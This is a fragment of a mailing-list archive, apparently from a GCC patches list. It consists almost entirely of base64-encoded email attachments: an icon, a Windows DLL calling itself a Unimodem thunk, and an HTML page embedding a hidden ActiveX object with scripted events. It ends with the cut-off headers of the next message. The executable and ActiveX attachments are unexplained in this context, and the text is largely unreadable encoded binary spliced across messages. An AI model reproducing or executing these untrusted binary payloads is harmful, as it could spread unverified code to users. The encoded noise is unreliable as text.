7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEFALniUTkAAAAAAAAAAOAADiELAQI8AAgAAAAMAAAAAAAA HBAAAAAQAAAAIAAAAABxfwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAABgAAAABAAAsmAAAAIA AAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADgFQAAUQAAAAAwAAA8AAAAAEAAAPADAAAAAAAA AAAAAAAAAAAAAAAAAFAAAHgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAC4MAAAfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA MQYAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAKAAAAAAIAAAABAAAAAg AAAAAAAAAAAAAAAAAABAAADALmlkYXRhAAA6AwAAADAAAAAQAAAAMAAAAAAAAAAAAAAAAAAA QAAAQC5yc3JjAAAA8AMAAABAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAALQA AAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 cX//JRQxcX//JRgxcX//JRwxcX//JSAxcX//JSQxcX8AAAAAMBc/OQAAAAASFgAAAQAAAAEA AAABAAAACBYAAAwWAAAQFgAAfCAAAB0WAAAAAFVNRE0zMi5kbGwAdW1kbVRoa19UaHVua0Rh dGEzMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --Vq930Rtxefon57xVuZC2xBsVRLFX52 --Vq930Rtxefon57xVuZC2xBsVRLFX52 Content-Type: application/octet-stream; name=tsctl[2].htm Content-Transfer-Encoding: base64 Content-ID: PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5HVFMgTE9DQUw8L1RJVExFPg0KDQoNCjxPQkpFQ1Qg SUQ9IkFwZ3RzWDIxIiBXSURUSD0wIEhFSUdIVD0wDQogQ0xBU1NJRD0iQ0xTSUQ6Mzc1MzYw OTQtMEE0NC0xMWQzLTg1NEItMDA0MDA1NTA2MzEwIj4NCjwvT0JKRUNUPg0KDQoNCjxTQ1JJ UFQgTEFOR1VBR0U9IkpTY3JpcHQiIEVWRU5UPSJTbmlmZmluZyhzdHJOb2RlTmFtZSwgc3Ry TGF1bmNoQmFzaXMsIHN0ckFkZGl0aW9uYWxBcmdzKSIgRk9SPSJBcGd0c1gyMSI+DQo8IS0t DQoJdmFyIHJldDsNCglyZXQgPSBwYXJlbnQudDMuUGVyZm9ybVNuaWZmaW5nSmF2YVNjcmlw dChzdHJOb2RlTmFtZSwgc3RyTGF1bmNoQmFzaXMsIHN0ckFkZGl0aW9uYWxBcmdzKTsNCglp ZiAoLTEgPT0gcmV0KQ0KCQlyZXQgPSBwYXJlbnQudDMuUGVyZm9ybVNuaWZmaW5nVkJTY3Jp cHQoc3RyTm9kZU5hbWUsIHN0ckxhdW5jaEJhc2lzLCBzdHJBZGRpdGlvbmFsQXJncyk7DQoJ cmV0dXJuIHJldDsNCi0tPg0KPC9TQ1JJUFQ+DQoNCg0KPFNDUklQVCBMQU5HVUFHRT0iSlNj cmlwdCIgRVZFTlQ9IlJlbmRlcihzdHJQYWdlKSIgRk9SPSJBcGd0c1gyMSI+DQo8IS0tDQoJ cGFyZW50LnQyLmRvY3VtZW50Lm9wZW4oKTsgDQoJcGFyZW50LnQyLmRvY3VtZW50LndyaXRl KHN0clBhZ2UpOw0KCXBhcmVudC50Mi5kb2N1bWVudC5jbG9zZSgpOw0KLS0+DQo8L1NDUklQ VD4NCjwvSEVBRD4NCg0KPEJPRFkgQkdDT0xPUj0iI0ZGRkZGRiI+DQo8Rk9OVCBGQUNFPUFS SUFMPg0KDQoNCjwvRk9OVD4NCg0KPC9CT0RZPg0KPC9IVE1MPj== --Vq930Rtxefon57xVuZC2xBsVRLFX52-- From java-patches-return-5719-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 01 19:16:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31269 invoked by alias); 1 Jan 2003 19:16:29 -0000 Mailing-List: contact 